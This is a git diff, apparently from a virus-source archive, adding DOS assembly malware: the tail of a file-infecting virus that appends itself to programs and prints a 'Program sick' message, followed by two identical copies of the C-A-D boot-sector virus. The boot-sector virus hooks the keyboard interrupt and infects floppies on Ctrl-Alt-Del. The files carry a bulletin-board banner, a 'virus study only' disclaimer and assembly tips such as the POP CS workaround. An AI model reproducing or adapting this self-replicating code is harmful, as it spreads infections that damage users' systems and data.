onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr ds:[timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + dw 0 ;Unused + +code ends + end start diff --git a/c/C-A-D (32).ASM b/c/C-A-D (32).ASM new file mode 100755 index 0000000..5831a94 --- /dev/null +++ b/c/C-A-D (32).ASM @@ -0,0 +1,431 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;-----------------------------------------------------------------------; +; This virus is of the ?FLOPPY ONLY? variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; If your assembler will not allow the POP CS command to execute, replace; +; the POP CS command with an NOP and then assemble it, then debug that ; +; part of the code and place POP CS in place of NOP at that section. ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH + POP CS + ; + PUSH DS ;DS=0 ; ES = DS + POP ES ; + ; + MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET ?JUST INFECTED ANOTHER ONE?... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 +A7DFC DB 27H,0,8,2 + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/c/C-a-d.asm b/c/C-a-d.asm new file mode 100755 index 0000000..5831a94 --- /dev/null +++ b/c/C-a-d.asm @@ -0,0 +1,431 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;-----------------------------------------------------------------------; +; This virus is of the ?FLOPPY ONLY? variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; If your assembler will not allow the POP CS command to execute, replace; +; the POP CS command with an NOP and then assemble it, then debug that ; +; part of the code and place POP CS in place of NOP at that section. ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH + POP CS + ; + PUSH DS ;DS=0 ; ES = DS + POP ES ; + ; + MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET ?JUST INFECTED ANOTHER ONE?... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 +A7DFC DB 27H,0,8,2 + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter 